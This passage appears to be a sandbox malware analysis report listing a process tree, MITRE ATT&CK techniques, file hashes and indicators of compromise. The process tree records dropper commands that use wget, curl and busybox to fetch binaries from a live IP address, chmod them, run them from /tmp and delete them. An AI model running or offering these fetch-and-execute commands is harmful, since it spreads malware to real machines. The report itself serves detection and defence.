  - Executes dropped EXE
  PID:950
- /bin/rm
  rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:954
- /bin/chmod
  chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:960
- /bin/chmod
  chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:966
- /bin/chmod
  chmod 777 CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  ./CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:972
- /bin/chmod
  chmod 777 qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  ./qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
  2⤵
  PID:975

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

Path /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX	734	osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
/tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE	740	BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
/tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3	746	NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
/tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX	765	CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
/tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61	786	qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
/tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP	812	o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
/tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0	818	wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
/tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP	826	4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
/tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd	848	9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
/tmp/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb	866	l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
/tmp/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS	872	oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
/tmp/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY	878	GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
/tmp/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu	884	s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
/tmp/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk	890	EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
/tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0	896	wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
/tmp/EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk	902	EkneJaipBCkgRhNslRSJfXmvkq9qctY9Fk
/tmp/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP	908	4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
/tmp/9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd	914	9D9KE7rkJRfrqBVSGvwDBAbKYvQJjTKKCd
/tmp/l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb	920	l2K6aY5fUDeyN65XW9kWllFTG6s5WbPUnb
/tmp/oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS	926	oCnv0IQMbfJ1EsRgvdf2VALWZYgiavRUtS
/tmp/GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY	932	GhNt6rXxUEEirffz4z7oIAxbYzT1B8DOtY
/tmp/s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu	938	s0d31wnLhdZCld5iSMaS9vuR6mB74OCAAu
/tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP	944	o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX	950	osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
/tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE	956	BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
/tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3	962	NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
/tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX	968	CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
/tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61	974	qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61